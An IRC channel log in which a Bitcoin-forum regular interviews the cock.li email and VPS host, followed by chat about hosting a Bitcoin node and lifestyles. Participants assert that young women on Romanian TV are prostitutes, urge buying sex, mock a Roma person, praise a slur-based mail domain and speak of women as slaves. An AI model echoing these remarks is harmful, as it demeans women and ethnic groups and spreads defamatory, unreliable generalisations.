1471760;1464206948;deedbot;5CB49CDCEAC797FBF8BDC074FD71AD2771A5CC1B registered as vc. 1471761;1464206954;mircea_popescu;win. 1471762;1464206955;vc;;) 1471763;1464206964;mircea_popescu;$rate vc 1 cock.li hoster 1471764;1464206966;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/05310a93-b1f6-476d-ba27-3bf3a6a0fd58/ 1471765;1464207001;mircea_popescu;$v 1FB0734F97F51A4C2C707882432C58D89E5958B0554E840F65A8E7BBE05AB4C6 1471766;1464207001;deedbot;mircea_popescu rated vc 1 << cock.li hoster 1471767;1464207031;mircea_popescu;now then. what raid was that ? 1471768;1464207045;vc;http://arstechnica.com/tech-policy/2015/12/cock-li-e-mail-server-seized-by-german-authorities-admin-announces/ 1471769;1464207048;vc;raid 1 1471770;1464207051;vc;http://arstechnica.com/tech-policy/2016/01/cock-li-server-seized-again-by-german-prosecutor-service-moves-to-iceland/ 1471771;1464207051;Framedragger;vc: re. https://box.cock.li/ - do you tolerate responsible and low-bandwidth netscans (TCP SYN and/or ssh-keyscan (which doesn't attempt any ssh auth)) perchance? 1471772;1464207052;mircea_popescu;o.O 1471773;1464207054;vc;raid 2 1471774;1464207057;vc;yes Framedragger 1471775;1464207058;vc;idc 1471776;1464207074;mircea_popescu;hey, mind doing an interview with me to be published on qntra ? 1471777;1464207088;vc;sure idk what qntra is though 1471778;1464207092;Framedragger;vc: natural follow-up question: do you think your ip space is included in things like fail2ban lists, then? :) 1471779;1464207099;mircea_popescu;qntra.net ; bitcoin news site. 1471780;1464207101;vc;oic 1471781;1464207149;vc;Framedragger: I don't think so, though I haven't actually received one yet 1471782;1464207166;mircea_popescu;so then... lessee... why did you quit college ? 1471783;1464207171;pete_dushenski;"The Romania-based e-mail admin concluded his video with this proclamation: "It’s raining dicks right now. And the forecast isn’t that good either. There’s a 90 percent chance of dicks tonight and a 90 percent chance of dicks tomorrow."" << gggggold 1471784;1464207181;mircea_popescu;lool 1471785;1464207191;vc;Framedragger: uh, rather I haven't actually received my ip space yet 1471786;1464207227;vc;mircea_popescu: I dropped out because I was at a shit university and also I had a job where I was making as much as with a degree so I didn't really see the point 1471787;1464207236;mircea_popescu;what was your major ? 1471788;1464207253;vc;since then my decision has been confirmed with professional experience and also I'm travelling the world instead which has been leagues better to me than university ever was 1471789;1464207260;vc;CS, specializing in computer security 1471790;1464207291;mircea_popescu;ever thought of trying something more alligned with the actual purpose of universities, ie, scoring ? dunno, humanities, bidniss, whatever ? 1471791;1464207330;vc;maybe, though I have heard bad things about the university here, I am currently living in romania ;) 1471792;1464207339;mircea_popescu;where in romania ? 1471793;1464207341;vc;bucharest 1471794;1464207358;mircea_popescu;possibly shittiest city in the whole country. try brasov or cluj or something eh. 1471795;1464207365;mircea_popescu;so how do you like romania ? 1471796;1464207374;Framedragger;vc: k, gotcha. thanks and that's useful to know 1471797;1464207397;vc;it's great, the internet here is very fast and the food is very good :@) 1471798;1464207411;vc;it's also very cheap to live here, considering I still work for a US company 1471799;1464207418;diana_coman; possibly shittiest city in the whole country. try brasov or cluj or something eh <- ahahaa, in that Bucharest is the only *city* as such... 1471800;1464207423;mircea_popescu;i lived there for a few years. 2nd bitcoin conference also held there (timisoara). meanwhile though, moved to argentina. 1471801;1464207442;diana_coman;towns plenty, way better than Bucharest too, sure 1471802;1464207447;mircea_popescu;so what was your involvement in that 2015 "scandal" ? 1471803;1464207531;vc;someone registered on my public E-mail server and sent threats through my service, I was the only public face other than the police or the school district so I was subject to a lot of media attention 1471804;1464207542;vc;I was all over the news in the US and Romania for 3 or 4 days 1471805;1464207555;mircea_popescu;$rate vc 2 cock.li hoster ; published "secret" supoena back in 2015. 1471806;1464207563;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/bd28f309-ecf5-4094-8143-a53c9147c8cb/ 1471807;1464207564;vc;:) 1471808;1464207567;mircea_popescu;hehe. 1471809;1464207577;mircea_popescu;you know vc.gg is not responding ? 1471810;1464207587;vc;works on my machine (tm) 1471811;1464207599;mircea_popescu;i see. alright, so what are your plans for the future ? 1471812;1464207618;vc;mircea_popescu: http://vc.gg/OYWJ5v8F 1471813;1464207620;mircea_popescu;$v D4EF258C4C32362B7B34529EA60A5C6351CA4FB37E4BE11D7FA745314F6A0A3D 1471814;1464207620;deedbot;mircea_popescu updated rating of vc from 1 to 2 << cock.li hoster ; published "secret" supoena back in 2015. 1471815;1464207721;mircea_popescu;nope, can't see it. 1471816;1464207745;vc;o 1471817;1464207746;mircea_popescu;neither can https://archive.is/UOT63 1471818;1464207749;vc;re: future plans 1471819;1464207751;vc;https://my.mixtape.moe/rwuurt.jpg 1471820;1464207762;shinohai;$rate vc 1 Thanks for mail@nigge.rs as well 1471821;1464207767;mircea_popescu;i'm kinda hoping for something for kicks in it 1471822;1464207767;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/2f9476a1-e6c8-45ee-99f7-67c987583ad1/ 1471823;1464207772;mircea_popescu;cocks even 1471824;1464207780;Framedragger;mircea_popescu: `nslookup` should say 185.100.85.212; maybe your overzealous hosts policy heh 1471825;1464207799;mircea_popescu;vc so how did you hear about bitcoin ? 1471826;1464207816;vc;idk I first got into it in 2010 I think? 1471827;1464207820;shinohai;$v 11CE7949F6FA74F604A385035A422F9C91218E367F81A8ADD854B3E71B6579A7 1471828;1464207820;deedbot;shinohai rated vc 1 << Thanks for mail@nigge.rs as well 1471829;1464207821;vc;BTC was $0.8 - $0.9 1471830;1464207859;mircea_popescu;did you do anything ? services, whatever ? 1471831;1464207900;vc;mostly just between friends, and buying stuff with bitcoin when it was available 1471832;1464207918;vc;I gave away several bitcoin when they were worth nothing :) 1471833;1464207920;mircea_popescu;you ever heard about eulora ? 1471834;1464207928;vc;nope 1471835;1464207994;mircea_popescu;how about sec sending supoenas to this romanian-based dude back in 2012, when they were posturing about satoshi dice ? 1471836;1464208030;vc;I do remember satoshi dice, though I don't remember buch past that 1471837;1464208033;vc;much* 1471838;1464208060;mircea_popescu;interesting how fragmented this supposed "bitcoin community" actually is. alright, so what's your plan with the hoster ? what was it, cock.li ? 1471839;1464208079;vc;the email site is https://cock.li/ , the VPS provider is https://box.cock.li/ 1471840;1464208089;vc;the former is not-for-profit, the second is for-profit 1471841;1464208115;mircea_popescu;do you plan to pivot from corporate life to independence with it ? or is it just a hobby on the side ? for the lulz ? for the whats ? 1471842;1464208121;vc;the server hardware I purchased can host a maximum of 280 clients with some more memory and disk space, so after I get it up and running and stable then I'm probably going to go for that 1471843;1464208146;vc;I don't think those are necessarily mutually exclusive ;) 1471844;1464208164;mircea_popescu;hehe. so what do you mean "get it up and running and stable" ? 1471845;1464208176;vc;I have literally 0 experience running a VPS provider 1471846;1464208185;mircea_popescu;what do you have experience with ? 1471847;1464208200;phf;"Despite what some may tell you, cock.li does not tolerate abuse of its servers. [...] Due to my privacy policy which protects my user's data, you will probably not receive a response." nice 1471848;1464208201;vc;I have lots of experience as a linux sysadmin, which helps ;) 1471849;1464208223;mircea_popescu;that's not really 0 then, is it ? 1471850;1464208243;vc;I dream of a world where I incorporate cock.li and operate and expand a semi-trolling corporation 1471851;1464208253;vc;the way I had it described to me is "almost like ironic professionalism" 1471852;1464208259;vc;also yes, fair point :) 1471853;1464208271;mircea_popescu;do you happen to know the republic has been looking for an actual republican isp ? 1471854;1464208281;mircea_popescu;actually, you even heard of tmsr ? 1471855;1464208284;vc;I take inspiration from GNAA in that regard, though I think I could make it into an actual profit-producing company 1471856;1464208303;vc;I have no idea of the republic or tmsr I just heard shit was hot and poppin' here so I joined 1471857;1464208352;mircea_popescu;pretty cool. so... are you married ? 1471858;1464208353;vc;nope, I'm 21 1471859;1464208362;vc;I almost got married though a couple years ago 1471860;1464208369;mircea_popescu;what broke it off ? 1471861;1464208381;vc;(after a 6 year relationship, so it's not like I was jumping in feet-first) 1471862;1464208392;vc;oh, you know, reasons ;) 1471863;1464208400;mircea_popescu;as in, other cocks ? 1471864;1464208400;vc;turned out to be one of the best decisions I've made 1471865;1464208402;vc;haha 1471866;1464208437;vc;not getting married has allowed me to pursue travelling the world and pursuing other ventures 1471867;1464208448;vc;only after it was all over did I realize I'm too damn young to get married 1471868;1464208452;mircea_popescu;so where've you been besides maine and bucharest ? 1471869;1464208499;mircea_popescu;$up vc 1471870;1464208500;deedbot;vc voiced for 30 minutes. 1471871;1464208506;mircea_popescu;you can also self-up by telling the bot $up in a pm 1471872;1464208521;vc;nowhere that's public information :@) though I plan on backpacking most of europe next year 1471873;1464208525;vc;and asia the year after that 1471874;1464208548;mircea_popescu;sounds like a plan eh. so what's your favourite romanian dish ? 1471875;1464208570;vc;cow bone soup O_O 1471876;1464208582;vc;I had lunch at Excelsior in Bucharest, if you know that place 1471877;1464208584;mircea_popescu;ie oxtail ? 1471878;1464208589;mircea_popescu;i do. 1471879;1464208603;vc;I went with an older friend who was a government official before he retired 1471880;1464208605;vc;crazy place 1471881;1464208628;mircea_popescu;so what don't you like about it ? 1471882;1464208632;mircea_popescu;the place, i mean. 1471883;1464208650;vc;Excelsior? Nah it was great 1471884;1464208651;vc;it 1471885;1464208656;mircea_popescu;nah, the country. 1471886;1464208659;vc;ah 1471887;1464208680;vc;I don't really know anything I don't like, though I did see a gypsy shitting in the street about a month ago, that was pretty unsettling 1471888;1464208702;mircea_popescu;better in the street than in your enchilada though. 1471889;1464208706;vc;hah 1471890;1464208708;phf;wait till you make it to asia.. 1471891;1464208713;vc;how do I do this fancy OTP thing 1471892;1464208724;mircea_popescu;alrighty, anything you want to tell teh readership in closing ? 1471893;1464208824;vc;yes, always follow you are dreams 1471894;1464208833;mircea_popescu;cool. 1471895;1464208851;mircea_popescu;BingoBoingo whadda ya think ? acceptabru ? i'll clean it up an' send over. 1471896;1464208878;mircea_popescu;vc it sends you a link, it contains a pgp encrypted thing, you decrypt it and feed it back as $v blabla 1471897;1464208885;phf;vc: what's the time frame on the server being up? "wednesday or thursday" 1471898;1464208885;vc;oh, thanks 1471899;1464208892;vc;got it! 1471900;1464208911;vc;phf: the hardware is set to get here friday, so it will launch saturday 1471901;1464208921;mircea_popescu;so how about you stop dicking around and just colocate some boxes and weld the cages shut ? 1471902;1464208954;vc;lmao 1471903;1464208965;mircea_popescu;http://www.evz.ro/vincent-canfield-rupe-tacerea-nu-sunt-suspectat-de-terorism-am-venit-in-romania-pentru-viteza-ridicata-la-internet.html << the ro papers are the lulz of all times. 1471904;1464208970;vc;I am colocating, and yes physical security is a serious consideration ;) 1471905;1464208992;vc;yeah, I did interviews for digi 24, antena 3, antena 1, and uh whatever the public broadcast one is 1471906;1464209004;mircea_popescu;did you fuck any of the starlets yet ? 1471907;1464209005;vc;most of them falsely claimed I was wanted by the FBI 1471908;1464209019;vc;lmao I haven't seen any 1471909;1464209050;mircea_popescu;listen, romanian tv exists ~ for a single reason : so a group of like minded twentysomething chicks can advertise they're available. goes ~500 bucks unless you're very weird. 1471910;1464209071;vc;wtf 1471911;1464209072;mircea_popescu;next time tv crew pops up, ask them. 1471912;1464209125;vc;I can't tell if you're serious or not 1471913;1464209132;mircea_popescu;dead serious. 1471914;1464209174;mircea_popescu;the system's been around for decades ; i fucked a bunch in my day. recently they tried to close the thing down, arrested gals by the pail, but... from what i hear it didn't take. 1471915;1464209235;Framedragger;(man, i just remembered one of the reasons i started hanging around here. these characters and their stories..) 1471916;1464209249;mircea_popescu;http://www.romanialibera.ro/actualitate/eveniment/stenograme-in-dosarul-prostitutiei-de-lux-cu-asistente-tv-si-politicieni-366566 << even got teh secret services involved lol. 1471917;1464209360;vc;man wtf 1471918;1464209364;mircea_popescu;http://btcbase.org/log/2016-05-25#1471900 two weeks :D 1471919;1464209364;a111;Logged on 2016-05-25 20:41 vc: phf: the hardware is set to get here friday, so it will launch saturday 1471920;1464209381;mircea_popescu;vc you been missing out ? 1471921;1464209400;vc;so how do these chicks advertise themselves? from TV shows, or adverts? 1471922;1464209418;mircea_popescu;you see that she is on tv, and know what that means, pretty much. 1471923;1464209428;vc;what like any female on TV? 1471924;1464209443;mircea_popescu;well no, but any female in the age range with no obvious reason of being there. 1471925;1464209457;mircea_popescu;as they say in poker, the reason IS obvious, just maybe not to you. 1471926;1464209480;mircea_popescu;though credit where credit's due, the italian tv invented the method. 1471927;1464209489;vc;I'd pay $500 to fuck the journalist at antena 1 that interviewed me tbh 1471928;1464209501;vc;haven't found the video of that interview but she was pretty qt 1471929;1464209513;mircea_popescu;so you're an adult, get some contacts in the trade an' ask around. odds being in your favour. 1471930;1464210047;Framedragger;vc: paid for a vps, lemme know if box 'hivc' becomes a nuisance in terms abuse complaints, willya :) 1471931;1464210079;vc;will do ;) 1471932;1464210200;mircea_popescu;ah, right, prolly should get a node. hey vc what do you recommend for bitcoin node ? vps carry it ? 1471933;1464210245;vc;I'm not sure what you're referring to. Are you asking me how I'm doing btc payments? 1471934;1464210298;mircea_popescu;i am asking you, if i intend to run a btc node, ie, a blockchain's worth of gb etc, what's the solution cock.li offers 1471935;1464210322;vc;oh, how large is the blockchain nowadays? 1471936;1464210348;jurov;70GB 1471937;1464210352;vc;wew lad 1471938;1464210395;vc;only the 4GB server with 120GB storage would be able to store that, though if running a bitcoind node is your intention then using pure SSD storage may be wasted potential 1471939;1464210402;vc;meaning you may be able to get a better deal elsewhere 1471940;1464210416;jurov;it *requires* SSD 1471941;1464210423;vc;oic 1471942;1464210428;mircea_popescu;it requires ssd ; and about 3gb ram 1471943;1464210449;vc;oh, well then the 4GB server should do it, at least until the blockchain outgrows that :@) 1471944;1464210462;vc;though I think I should be able to offer expansions to disk space, not sure about that yet 1471945;1464210470;mircea_popescu;how much would that be ? 1471946;1464210475;vc;$40 a month 1471947;1464210497;vc;also as of this moment 4 units of space are not currently available on cock box, sadly :( 1471948;1464210501;vc;too much money xxx 1471949;1464210507;mircea_popescu;tell you what : i'll buy that, and pay it in advance for a year, provided you install and manage a trb node there. 1471950;1464210513;vc;pffft 1471951;1464210514;mircea_popescu;(it mostly builds without problems via V) 1471952;1464210548;vc;I do not know what a trb node is 1471953;1464210558;mircea_popescu;but the logs are your friends :) 1471954;1464210571;Framedragger;[inb4 ideology *popcorn*] 1471955;1464210574;mircea_popescu;basically some usg assholes tried to hijack the bitcoin. trb aka the real bitcoin is the... well, the real bitcoin. 1471956;1464210653;vc;oh I see, I found thebitcoin.foundation 1471957;1464210658;mircea_popescu;word. 1471958;1464210706;vc;how much bandwidth would something like this use monthly? 1471959;1464210813;mircea_popescu;not terribly much ; i've never measured to average > 1mbps. 1471960;1464210823;pete_dushenski;1-2gb per month ? 1471961;1464210836;mircea_popescu;but at any rate this conversation definitely lays bare just how badly we've missed the boat by not increasing blocksize when usgavin wanted to. 1471962;1464210843;mircea_popescu;woe to us. 1471963;1464210892;vc;ok yeah cool, so are you asking me to run something independently while you do X on your server? or are you asking me to configure your server myself, setting up the daemon? or are you instead asking me to do nothing except give you your server 1471964;1464210913;mircea_popescu;the middle one it seems. 1471965;1464210944;vc;ok sure, I can do that 1471966;1464210958;mircea_popescu;usure ? fine then. btc addy ? 1471967;1464211003;mircea_popescu;;;ticker --market all 1471968;1464211011;gribble;Bitstamp BTCUSD last: 448.37, vol: 3617.26098064 | BTC-E BTCUSD last: 448.901, vol: 5304.88381 | Bitfinex BTCUSD last: 447.9, vol: 12300.67551329 | CampBX BTCUSD last: 450.0, vol: 3.1784327 | BTCChina BTCUSD last: 455.074564, vol: 28102.56580000 | Kraken BTCUSD last: 447.0, vol: 787.79024574 | Bitcoin-Central BTCUSD last: 451.8629, vol: 36.06132496 | Volume-weighted last average: (1 more message) 1471969;1464211041;mircea_popescu;;;calc 40 * 12 / 448 1471970;1464211041;gribble;1.07142857143 1471971;1464211061;vc;let me do a bit more research first before I accept your money, want to be sure everything will be fine 1471972;1464211065;mircea_popescu;sure. 1471973;1464211082;vc;is this just a modified bitcoind instance? or something else? 1471974;1464211084;mircea_popescu;how's your popcorn going Framedragger :D 1471975;1464211094;mircea_popescu;vc it's the original bitcoin yes. it's been modified hence. 1471976;1464211102;mircea_popescu;(to be shittier) 1471977;1464211146;vc;ok is this like a fork of the main bitcoin network? 1471978;1464211163;vc;I understand that this is a branch of some type from the typical doings of what I know as the bitcoin foundation 1471979;1464211226;mircea_popescu;mno, this is the main bitcoin network. but there are various other forks. 1471980;1464211255;Framedragger;mircea_popescu: i ran out of popcorn so ordered some more but bitcoins are not confirming.... chinese hackers??? :/ 1471981;1464211256;Framedragger;(i jest) 1471982;1464211301;mircea_popescu;and a bunch of scammers running a faux foundation, also. vessenes & merck et al 1471983;1464211309;*;asciilifeform pulsates 1471984;1464211328;*;asciilifeform eating caek at a heathen clone of arkakao 1471985;1464211338;mircea_popescu;found your local gal ?! 1471986;1464211346;asciilifeform;nah 1471987;1464211352;asciilifeform;gluttony, recall 1471988;1464211354;mircea_popescu;well, cake is almost just as good 1471989;1464211380;asciilifeform;aha and it dun run away screaming when it sees me!111 1471990;1464211425;mircea_popescu;hey, they ran away screaming when they saw the diminutive khan, also 1471991;1464211435;mircea_popescu;didn't keep him from being the most prolific father in the history of humanity. 1471992;1464211448;asciilifeform;lel tru 1471993;1464211459;asciilifeform;all i need is a horde 1471994;1464211500;asciilifeform;btw the real chicago feels like nyc but less crowd of idiot 1471995;1464211513;pete_dushenski;^ 1471996;1464211525;pete_dushenski;superb early 20th century architectural zoo 1471997;1464211530;asciilifeform;pete_dushenski is old hand there? 1471998;1464211545;asciilifeform;pete_dushenski: is the zoo worthwhile? 1471999;1464211549;pete_dushenski;spent some time there, yes 1472000;1464211562;vc;hm, I feel I may be missing some details. If you pay me 1.07 BTC will that BTC be usable with services connected to the BTC network such as Coinbase or Newegg? 1472001;1464211580;asciilifeform;hotel is bloody expensive, ~btc/d 1472002;1464211581;mircea_popescu;vc im sure it will. 1472003;1464211582;vc;(I'm trying to figure out whether your bitcoin network is the most popular bitcoin network or a hard fork of another network) 1472004;1464211603;mircea_popescu;there's no actual fork yet, no. bitcoin is still bitcoin. 1472005;1464211609;vc;ok, I understand 1472006;1464211609;pete_dushenski;asciilifeform: actual zoo ? couldn't say if there even is one. aquarium on the lake, indeed! 1472007;1464211613;asciilifeform;vc: traditional bitcoin, minus buncha bugz 1472008;1464211644;*;asciilifeform did a good chunk of the subtraction, askhimanything (tm) 1472009;1464211706;vc;ok sure, mircea_popescu is this a time-sensitive request? I would prefer to wait until I get all the other services running and analyze the storage situation before I commit to another 120GB of storage 1472010;1464211735;vc;right now the site just filled up a few minutes ago, there is still space left for memory and everything, but the storage is already sold 1472011;1464211750;mircea_popescu;vc take your time. im mostrly trying to support initiative here. 1472012;1464211763;vc;ok sure, I will stay in this channel and I will let you know 1472013;1464211773;mircea_popescu;*thumbsup* 1472014;1464211919;*;asciilifeform bbl 1472015;1464212092;shinohai;;;later tell BingoBoingo http://ix.io/LcZ 1472016;1464212092;gribble;The operation succeeded. 1472017;1464212196;Framedragger;https://vc.gg/blog/?p=15 ain't that nice! 1472018;1464212298;vc;:D 1472019;1464212424;Framedragger;vc: it's cool that you don't preemptively block tor. (on that note, fuck cloudflare with a thousand rakes). 1472020;1464212752;deedbot;[Trilema] Xenforo : no better than vbulletin ; certainly not all that different - http://trilema.com/2016/xenforo-no-better-than-vbulletin-certainly-not-all-that-different/ 1472021;1464212800;mircea_popescu;dayum. one of the best parts of not sending girls out to gym is that you can generally take a break and watch one torture herself. 1472022;1464212984;Framedragger;mircea_popescu: re. http://btcbase.org/log/2016-05-19#1468545 i spoke with smart folk and i'll consider writing a short design document of some kind, for general and specific criticism. fair warning, will also use that opportunity to to enquire how it can be funded by tmsr / whateva. because can't hurt. 1472023;1464212984;a111;Logged on 2016-05-19 15:14 mircea_popescu: Framedragger doesn't mean much more than, "the correct path is to take a decent crypto lib, a distributed-hashtable-storage thing from one of the p2p torrent tools, and make a real social media app" 1472024;1464213013;mircea_popescu;sure. 1472025;1464213165;Framedragger;alrite :) 1472026;1464213597;Framedragger;sometimes i just want to dedicate my life to https://en.wikipedia.org/wiki/Project_Xanadu ; there are those moments. 1472027;1464213921;Framedragger;"""It has always been much more ambitious, proposing an entire form of literature where links do not break as versions change; where documents may be closely compared side by side and closely annotated; where it is possible to see the origins of every quotation; and in which there is a valid copyright system-- a literary, legal and business arrangement-- for frictionless, non-negotiated quotation at any time and in any amount. 1472028;1464213936;Framedragger;The Web trivialized this original Xanadu model, vastly but incorrectly simplifying these problems to a world of fragile ever-breaking one-way links, with no recognition of change or copyright, and no support for multiple versions or principled re-use. Fonts and glitz, rather than content connective structure, prevail.""" <- sorry i get sentimental easily :/ 1472029;1464214057;Framedragger;http://kottke.org/14/06/pioneering-hypertext-project-xanadu-released-after-54-years 1472030;1464214058;Framedragger;(also, nelson's rules: 1. most people are fools. 2. most authority is malignant. 3. God does not exist. 4. everything is wrong.) 1472031;1464214837;asciilifeform;http://theviewfromhell.blogspot.com/2013/02/single-income-no-kids-supernormal.html?m=1 << via pet 1472032;1464214857;asciilifeform;mircea_popescu, ben_vulpes, pete_dushenski , et al 1472033;1464215193;ben_vulpes;usians are generally too broke to maintain a woman much less a family, news at eleven? 1472034;1464215249;ben_vulpes;(much less wife family and other women) 1472035;1464215252;pete_dushenski;all men everywhere ever have been 'generally' too broke to maintain woman, thus polygyny, neh ? 1472036;1464215279;ben_vulpes;but yes celebrate the no children lifestyle, the 'mgtow' lifestyle, the hairshirt environmentalism 1472037;1464215281;pete_dushenski;asciilifeform: whole thing reads like 'slave, but only one' 1472038;1464215445;ben_vulpes;"children are a misery, women are a misery, work is a misery, taxes are a misery, the only things to live for are theorems and killing hitler" 1472039;1464215785;pete_dushenski;eh children aren't so bad. hell, i don't even mind work these days. taxes and women ? let's just call them a challenge to be risen to. 1472040;1464216145;ben_vulpes;'tis a bit of sarcasm 1472041;1464216220;mircea_popescu;Framedragger is that a naggum quote ? 1472042;1464216235;pete_dushenski;speaking of sarcasm, how goes the little fam, ben_vulpes ? sleeping through the night ? 1472043;1464216284;ben_vulpes;mhm for months now 1472044;1464216306;pete_dushenski;bravo! 1472045;1464216311;ben_vulpes;sat up under his own steam the other day, entirely on accident i'm sure. 1472046;1464216319;ben_vulpes;and yours? 1472047;1464216339;pete_dushenski;it's all accidents, like each of us being here! 1472048;1464216365;mircea_popescu;asciilifeform i wasn't aware the notion of children = unwanted pests is at all controversial. pretty much the only mammals that engage in it do so when they have absolutely no other option, much like poor working classes hitting the gin. 1472049;1464216366;pete_dushenski;my little bruiser is... still a bruiser. no convergence to the mean just yet. 1472050;1464216385;mircea_popescu;even someone as clueless as a medieval noble needed the entire arbitrary structure of male inheritance to be marginally bothered with it, 1472051;1464216416;mircea_popescu;and even then they barely bothered ; and generally the children lived as slaves / war captives. (see the duke of perigord's adventures for a fine example of this) 1472052;1464216487;pete_dushenski;'children are better seen, not heard' (tm) 1472053;1464216523;mircea_popescu;heck, it's amply documented how britain throughout its rise and preeminence treaded middle class children as exactly war captives, even going so far as to switch them around so natural affection won't entice the female to get in the way of mistreatment. 1472054;1464216591;mircea_popescu;"What is almost nonexistent is the childfree housewife - a woman who does not do market labor, is supported by her husband, but does not have children." << bullshit ; slavegirl counts here. 1472055;1464216596;mircea_popescu;far from nonexistant. 1472056;1464216685;mircea_popescu;funny that the author carefully tries to invent domestic-slavery-without-the-slavery though. oh, really, SHE CUTS HIS HAIR ?!?!?! 1472057;1464216691;mircea_popescu;heh. 1472058;1464216898;asciilifeform;http://btcbase.org/log/2016-05-25#1472038 << ye fool, asciilifeform is mebbe 40-50% pet-powered 1472059;1464216898;a111;Logged on 2016-05-25 22:30 ben_vulpes: "children are a misery, women are a misery, work is a misery, taxes are a misery, the only things to live for are theorems and killing hitler" 1472060;1464216914;asciilifeform;i dun cook, clean, or fuck myself 1472061;1464216954;asciilifeform;and pet reads logz on occasion, and we rip into the gristle. 1472062;1464216979;mircea_popescu;pete_dushenski> asciilifeform: whole thing reads like 'slave, but only one' << ah to you too huh ? 1472063;1464217002;pete_dushenski;lol yup 1472064;1464217004;mircea_popescu;asciilifeform what's to rip into gristle 1472065;1464217010;asciilifeform;also i'm in a magnificent bldg , so old that the lifts have lifteurs, and everything is polished brass and marble 1472066;1464217021;asciilifeform;and the bookstore has a gigantic cat 1472067;1464217027;mircea_popescu;nice! 1472068;1464217081;pete_dushenski;asciilifeform: you're seeing the beauty of that city now. it's really rather well preserved as a whole. a gleaming testament to the glory days 1870-1930 1472069;1464217082;mircea_popescu;ben_vulpes you understand, statistics says exactly nothing about the individual case. 1472070;1464217090;mircea_popescu;that's why actuaries make miserable managers. 1472071;1464217149;pete_dushenski;asciilifeform: the fact that chicago hasn't been able to muster so much as a sneezing fit since then is what's allowed it to be embalmed so well. not all cities are so fortunate as to have only ONE boom. 1472072;1464217168;pete_dushenski;(per century or two) 1472073;1464217168;ben_vulpes;which what statistics? 1472074;1464217168;asciilifeform;pete_dushenski: yeah i know 1472075;1464217188;asciilifeform;and all i ever really wanted was to live in 1880s 1472076;1464217197;asciilifeform;so it is goof theme park 1472077;1464217201;asciilifeform;good 1472078;1464217209;pete_dushenski;quite so. 1472079;1464217210;asciilifeform;blasted toy kbd 1472080;1464217246;pete_dushenski;asciilifeform: speaking of that golden era, you'd probably enjoy 'titan' the jdr bio. 1472081;1464217259;asciilifeform;possib 1472082;1464217262;ben_vulpes;mircea_popescu: which statistics? 1472083;1464217274;mircea_popescu;any 1472084;1464217328;ben_vulpes;i don't know what line of mine you're responding to. 1472085;1464217341;pete_dushenski;asciilifeform: not that bios are my thing, so i really have little to compare it to. so take the recommendation with a grain of salt. 1472086;1464217346;mircea_popescu;"ciggs are bad for you" "no, they're bad FOR PEOPLE. mine are great for me" "kids suck" "maybe yours" etc. 1472087;1464217356;ben_vulpes;sure 1472088;1464217372;mircea_popescu;"lottery is a fool's proposition" "i've won five million" etc etc 1472089;1464217400;asciilifeform;mircea_popescu: there's stats and there's stats. avg plane jumper is quite as flat as median jumper... 1472090;1464217434;mircea_popescu;my meal\'s ready will bbs :D 1472091;1464218392;mircea_popescu;so then! 1472092;1464218428;mircea_popescu;tis not a problem of means and averages asciilifeform ; tis a problem of the definition of terms. there's always exceptions, what's "children" mean, what's "smoking" to be etcetera. and there's no properly systematic way to solve these in any field that is interesting. 1472093;1464218449;mircea_popescu;that's what you attempt to do by moving it into the field of plainer mechanics - but it also becomes very banal for the move. 1472094;1464218533;mircea_popescu;girls do a lot of home cooking. you've never had better bread ; or sweets ; or sauces of all kinds ; or soups, or what have you. but is it cheap or is it expensive ? they can not beat the 2.50 mcd meal ; or the 7 dollars for a pound of hershey's sugar goop. which is what people usually complaining of the cost of "natural living" usually eat. 1472095;1464218552;mircea_popescu;and on it goes in that manner. 1472096;1464218610;ben_vulpes;and if one gets enough of it, even the $20/plate shit starts to lose its appeal. "what did you bring me? and at what speed? i get better at home in my underwear, and it's salted properly to boot." 1472097;1464218634;mircea_popescu;i was not even thinking of anything under 100 a plate tbh. 1472098;1464218652;mircea_popescu;there's no way for mass market restaurant to compete with dedicated cook of your own training ; not if you're of any taste at least. 1472099;1464218654;ben_vulpes;enough of it was ~4 years ago, but w/e 1472100;1464218660;mircea_popescu;starred restaurants can, and no one else. 1472101;1464218688;mircea_popescu;so you know ... is it expensive ? well no, if i had to chez victor every day i'd be looking at 1/4 mn p a bills. 1472102;1464218719;mircea_popescu;but yes, my cheap home meals still are outrageous to the guy to whom fiddy bucks'd better be dinner movie + blowjob. and sure, it can be that. ar arby's! 1472103;1464218790;mircea_popescu;and the whole thing goes straight into http://btcbase.org/log/2015-02-21#1026639 1472104;1464218790;a111;Logged on 2015-02-21 01:19 mircea_popescu: "she's been going through 6-7k each month since autumn, but i get to go visit p diddy whenever i feel like it. it's a wash" 1472105;1464218795;asciilifeform; http://btcbase.org/log/2016-05-25#1472098 << noshit.jpg 1472106;1464218795;a111;Logged on 2016-05-25 23:24 mircea_popescu: there's no way for mass market restaurant to compete with dedicated cook of your own training ; not if you're of any taste at least. 1472107;1464218809;pete_dushenski;pretty sure arby's has a 2 gyros for $8 deal on atm ;) 1472108;1464218830;mircea_popescu;and i'm sure they're makin' someone happy. 1472109;1464218835;pete_dushenski;pretty serious cultural appropriate, so ya 1472110;1464218845;pete_dushenski;appropriation* 1472111;1464218884;pete_dushenski;like sbux chai latte, curry-flavoured mcnuggets, etc. 1472112;1464218891;asciilifeform;mircea_popescu: re mega-quote, what do i pay to visit planet where there can be no pdiddy? 1472113;1464218894;pete_dushenski;(latter isn't real thing, yet) 1472114;1464218897;mircea_popescu;and just the fact that i can say what i want, and then it magically appears while i irc... what restaurant can do this. 1472115;1464218906;asciilifeform;^^^ 1472116;1464218914;mircea_popescu;asciilifeform you mean, fundamentally, can't ? 1472117;1464218926;mircea_popescu;i have no idea, but i am persuaded such planet'd suck big time. 1472118;1464218928;asciilifeform;aha 1472119;1464218928;asciilifeform;planet 1880 1472120;1464218934;mircea_popescu;not so, don't be silly. 1472121;1464218944;mircea_popescu;they certainly had him then. 1472122;1464218974;mircea_popescu;1880 is more barnum than it is a huxley. 1472123;1464219035;asciilifeform;not my 1880!1111 1472124;1464219047;mircea_popescu;so how are you better off there than here then! :D 1472125;1464219051;asciilifeform;my 1880 is all tesla et al 1472126;1464219243;asciilifeform;http://btcbase.org/log/2016-05-25#1472092 << i'm convinced that ~all thinking blokes with offspring, just kowtowed to woman as condition of fucking 1472127;1464219243;a111;Logged on 2016-05-25 23:20 mircea_popescu: tis not a problem of means and averages asciilifeform ; tis a problem of the definition of terms. there's always exceptions, what's "children" mean, what's "smoking" to be etcetera. and there's no properly systematic way to solve these in any field that is interesting. 1472128;1464219259;asciilifeform;also i accidentally pasted above to pet 1472129;1464219261;mircea_popescu;i doubt this. it's more of a 